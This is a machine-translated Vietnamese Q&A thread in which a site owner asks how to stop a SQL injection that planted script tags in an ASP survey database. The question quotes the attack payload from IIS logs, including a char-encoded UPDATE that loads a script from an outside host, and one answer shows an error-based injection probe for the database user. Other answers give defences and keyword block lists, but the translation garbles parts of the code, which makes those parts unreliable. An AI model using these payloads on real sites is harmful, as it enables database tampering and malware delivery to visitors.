2010-09-24 19 views
10

Chúng tôi có một trang khảo sát rõ ràng đã bị tấn công. Các triệu chứng giống hệt với những gì được mô tả trên trang sau trên trang web này: XSS Attack on the ASP.NET Website.Tấn công trang ASP sử dụng cơ sở dữ liệu máy chủ SQL

tôi thấy nhiều mục trong nhật ký IIS của chúng tôi bao gồm các mã độc hại:

</title> < script src = http: // google-stats49.info/ur.php>.

Dưới đây là ví dụ về giá trị của trường truy vấn cs-uri cho một trong các mục nhật ký IIS.

surveyID = 91 + update + usd_ResponseDetails + thiết + CategoryName = REPLACE (cast (CategoryName + như + varchar (8000)), diễn viên (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105)% 2Bchar (116)% 2Bchar (108)% 2Bchar (101)% 2Bchar (62)% 2Bchar (60)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (116)% 2Bchar (32)% 2Bchar (115)% 2Bchar (114)% 2Bchar (99)% 2Bchar (61)% 2Bchar (104)% 2Bchar (116)% 2Bchar (116)% 2Bchar (112)% 2Bchar (58)% 2Bchar (47)% 2Bchar (47)% 2Bchar (103)% 2Bchar (111)% 2Bchar (111)% 2Bchar (103)% 2Bchar (108)% 2Bchar (101)% 2Bchar (45)% 2Bchar (115)% 2Bchar (116)% 2Bchar (97)% 2Bchar (116)% 2Bchar (115)% 2Bchar (53)% 2Bchar (48)% 2Bchar (46)% 2Bchar (105)% 2Bchar (110)% 2Bchar (102)% 2Bchar (111)% 2Bchar (47)% 2Bchar (117)% 2Bchar (114)% 2Bchar (46)% 2Bchar (112)% 2Bchar (104)% 2Bchar (112)% 2Bchar (62)% 2Bchar (60)% 2Bchar (47)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (1 16)% 2Bchar (62) + as + varchar (8000)), đúc (char (32) + as + varchar (8))) -

Tôi không hiểu cách mã ở trên hoạt động nhưng rõ ràng đây là những gì đang được gửi trong một chuỗi truy vấn để tham nhũng các cột trong bảng cơ sở dữ liệu của chúng tôi. Chúng tôi đã tắt trang web của chúng tôi trong thời gian này. Chúng tôi có thể xóa các tập lệnh khỏi cơ sở dữ liệu nhưng điều đó không ngăn nó bị hỏng một lần nữa khi chúng tôi đưa trang web trở lại trực tuyến.

Có ai có bất kỳ đề xuất nào về cách ngăn điều này xảy ra không?

+2

' CHAR (n) 'là một chức năng TSQL có thể biến một int vào một ký tự ASCII. Đây là những gì mẫu ở trên chứa: '', vì vậy hãy dùng thử: 'print char (60) + char (47) + char (116) + char (105) + char (116) + char (108) + char (101) + char (62) + char (60) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (32) + char (115) + char (114) + char (99) + char (61) + char (104) + char (116) + char (116) + char (112) + char (58) + char (47) + char (47) + char (103) + char (111) + char (111) + char (103) + char (108) + char (101) + char (45) + char (115) + char (116) + char (97) + char (116) + char (115) + char (53) + '...' ' –

Trả lời

7

Đó là một cú pháp SQL.

  1. Không bao giờ tin tưởng đầu vào của người dùng. Bạn đang nhập dữ liệu vào và gửi trực tiếp đến cơ sở dữ liệu
  2. Không bao giờ tin tưởng đầu vào của người dùng của bạn!
  3. Kiểm tra tất cả đầu vào dựa vào danh sách trắng các giá trị được phép.
  4. Đối với nhập văn bản đảm bảo mọi thứ được thoát

Có tấn về chủ đề này: Google is your friend

+3

Không, Google isn ' t bạn của bạn. Trong thực tế, nó hoàn toàn ngược lại. Và tôi không nói điều này chỉ vì họ đã ném sự riêng tư của mọi người ra ngoài cửa sổ từ lâu rồi.:) –

+0

@Esteban - Hoặc, bởi vì họ đang làm việc với Verizon để mua Internet để họ có thể chạy nó như một con đường thu phí? – orokusaki

+2

bạn quên thêm: 5. Không bao giờ tin vào đầu vào của người dùng! :) – igorp1024

2

Cũng ...

  1. Sử dụng truy vấn tham số.
  2. Tắt ASP cũ cổ điển, điều này khiến việc sử dụng truy vấn tham số trở nên khó khăn hơn. Chuyển sang .NET, có xác thực dễ dàng hơn và có thể hạn chế các giá trị, không cho phép nhập html và v.v.
0

Tôi đề nghị bạn tìm kiếm bất kỳ trang nào có chứa Request.QueryString, vì nó thường là tham số GET không được lọc (thường là giá trị phải là số nguyên) và tự do sử dụng các hàm dựng sẵn CInt, CLng và IsNumeric để dừng tiêm trong các tuyến đường của chúng.Nó sẽ nhanh hơn viết lại tất cả các truy vấn của bạn để sử dụng các tham số hoặc tạo các thủ tục lưu sẵn trong SQL Server, mặc dù đó sẽ là cách để đi nếu bạn vẫn đang bận phát triển ứng dụng. Bạn cũng nên vô hiệu hóa quyền EXEC cho tài khoản người dùng của ứng dụng trong SQL Server.

(Xin lỗi, cố gắng liên kết các chức năng khác, nhưng như một người dùng mới tôi chỉ cho phép một siêu liên kết. :-))

1

Cấu hình IIS của bạn để gửi một trang lỗi tùy chỉnh hoặc lỗi mặc định 500 trang thay vì gửi thông báo lỗi chi tiết cho khách hàng.

Thông báo lỗi chi tiết đã được sử dụng để tìm giản đồ db. Sau đó, họ sử dụng tiêm sql để cập nhật các trường văn bản.

Dưới đây là một ví dụ để có được người dùng DB:

/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0 

đó là "và^+ dùng +^= 0" và nó sẽ trả về:

[Microsoft] [ODBC_SQL_Server_Driver] [SQL_Server] Conversion_failed_when_converting_nvarchar_value _ '^ myDbUsername ^' _ to_data_type_int.

nơi "myDbUsername" là người dùng cơ sở dữ liệu thực của bạn.

Sử dụng tecnique tương tự, bạn có thể nhận cơ sở dữ liệu, bảng, cột, loại, v.v ... từng cái một.

Nếu bạn chưa bị tấn công, hãy tắt các lỗi chi tiết trong IIS, nếu không hãy kiểm tra nhật ký của bạn để tìm những trang nào có lỗ hổng phun sql và sửa chúng.

Tôi đã viết một kịch bản nhỏ để kiểm tra xem có "< kịch bản" trong cơ sở dữ liệu của tôi:

DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+ 
' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) + 
' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%<script%''' 
FROM INFORMATION_SCHEMA.COLUMNS c 
WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext') 
and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views) 
order by QUOTENAME(TABLE_NAME); 
DECLARE @CMD VARCHAR(200), @return varchar(10) 
OPEN C1 
FETCH NEXT FROM C1 INTO @CMD 
WHILE @@FETCH_STATUS <> -1 
    BEGIN 
     declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200) 
     set @sql = 'declare c2 cursor for ' + @CMD 
     exec sp_executesql @sql 
     open c2 
     FETCH NEXT FROM C2 INTO @return, @tbl, @col 
     WHILE @@FETCH_STATUS <> -1 
      BEGIN 
      if(@return > 0) 
       BEGIN 
        PRINT @return + ' records found in ' + @tbl + '.' + @col 
        exec('SELECT '[email protected]+' FROM '[email protected]+' WHERE '[email protected]+' LIKE ''%<script%''') 
       END 
      FETCH NEXT FROM C2 INTO @return, @tbl, @col 
      END 
     CLOSE C2 
     DEALLOCATE C2 
     FETCH NEXT FROM C1 INTO @CMD 
    END 
CLOSE C1 
DEALLOCATE C1 

Tôi đang trên IIS 7, Win Server 2008 và SQL Server 2008 vì vậy nó không có vẻ như đây tấn công sử dụng bất kỳ lỗ hổng SQL Server 2003/2005 nào được nêu trong nhiều bài viết trên web.

1

Plugin Dịch vụ viễn thông An ninh WordPress có các bộ lọc SQL Injection sẽ chặn cuộc tấn công này trong một tập tin htaccess. Vì bạn có một máy chủ IIS, bạn sẽ cần thêm các tính năng bổ sung cho phép bạn sử dụng một tệp htaccess hoặc có thể bạn kết hợp các bộ lọc SQL Injection theo một cách khác với IIS vì htaccess theo truyền thống là một điều Apache. Đây là dòng trong file htaccess chủ Dịch vụ viễn thông An ninh chặn TẤT CẢ SQL Injection nỗ lực hacking:

RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC] 
RewriteRule ^(.*)$ - [F,L] 
2

Không chắc chắn nếu điều này vẫn còn phù hợp cho bạn, nhưng tôi đã có điều này xảy ra trong quá khứ như chúng ta vẫn chạy một số trang web asp cũ. Có hai thứ bạn cần để làm sạch. Đầu tiên là tìm và thay thế thủ tục lưu sẵn cho cơ sở dữ liệu của bạn (dễ dàng với Google), nếu bạn có thể thoát khỏi nó. Thật không may đôi khi dữ liệu bị cắt tùy thuộc vào loại trường, nhưng không có gì để làm ở đây. Nếu không, một roll back cho db của bạn là cần thiết.

Thứ hai là chèn một kịch bản phòng chống Hack SQL injection như thế này là một bao gồm trước kết nối cơ sở dữ liệu của bạn:

Chúc may mắn.

<% 
' SqlCheckInclude.asp 
' 
' This is the include file to use with your asp pages to 
' validate input for SQL injection.

Dim BlackList, ErrorPage, s

' ' Below is a black list that will block certain SQL commands and ' sequences used in SQL injection will help with input sanitization ' ' However this is may not suffice, because: ' 1) These might not cover all the cases (like encoded characters) ' 2) This may disallow legitimate input ' ' Creating a raw sql query strings by concatenating user input is ' unsafe programming practice. It is advised that you use parameterized ' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information ' on how to do this using ADO from ASP. ' ' Moreover, you need to also implement a white list for your parameters. ' For example, if you are expecting input for a zipcode you should create ' a validation rule that will only allow 5 characters in [0-9]. '

BlackList = Array("--", ";", "/", "/", "@@", "@",_ "char", "nchar", "varchar", "nvarchar",_ "alter", "begin", "cast", "create", "cursor",_ "declare", "delete", "drop", "end", "exec",_ "execute", "fetch", "insert", "kill", "open",_ "select", "sys", "sysobjects", "syscolumns",_ "table", "update")

' Populate the error page you want to redirect to in case the ' check fails.

ErrorPage = "/ErrorPage.asp"

'''''''''''''''''''''''''''''''''''''''''''''''''''
' This function does not check for encoded characters ' since we do not know the form of encoding your application ' uses. Add the appropriate logic to deal with encoded characters ' in here ''''''''''''''''''''''''''''''''''''''''''''''''''' Function CheckStringForSQL(str) On Error Resume Next

Dim lstr

' If the string is empty, return true If (IsEmpty(str)) Then CheckStringForSQL = false Exit Function ElseIf (StrComp(str, "") = 0) Then CheckStringForSQL = false Exit Function End If

lstr = LCase(str)

' Check if the string contains any patterns in our ' black list For Each s in BlackList

If (InStr (lstr, s) <> 0) Then 
    CheckStringForSQL = true 
    Exit Function 
End If 

Tiếp

CheckStringForSQL = false

End Function

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' ' Kiểm tra dữ liệu mẫu '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''

Cho mỗi s trong Request.Form Nếu (CheckStringForSQL (Request.Form (s))) Sau đó

' Redirect to an error page 
Response.Redirect(ErrorPage) 

End Nếu Tiếp

'' '' '' '' '' '' '' '' '' ''' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' 'Kiểm tra chuỗi truy vấn ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '''

Đối Mỗi s trong Request.QueryString Nếu (CheckStringForSQL (Request.QueryString (s))) Sau đó

' Redirect to error page 
Response.Redirect(ErrorPage) 

End If 

Tiếp

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''' '' '' '' '' '' 'Kiểm tra cookie ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '' '' '' '' '' '' '' ''

Đối Mỗi s trong Request.Cookies Nếu (CheckStringForSQL (Request.Cookies (s))) Sau đó

' Redirect to error page 
Response.Redirect(ErrorPage) 

End If

Tiếp theo

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' '' '' ' ' Thêm các kiểm tra bổ sung cho đầu vào mà ứng dụng của bạn sử dụng '. (ví dụ: các tiêu đề yêu cầu khác nhau, ứng dụng của bạn 'có thể sử dụng) ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '''

%>

+0

Đây là một khởi đầu vững chắc về câu trả lời cho câu hỏi này. Nó có thể được cải thiện bằng cách cung cấp liên kết đến các mục được tham chiếu so với chỉ cần nói cho họ biết về Google. –

Các vấn đề liên quan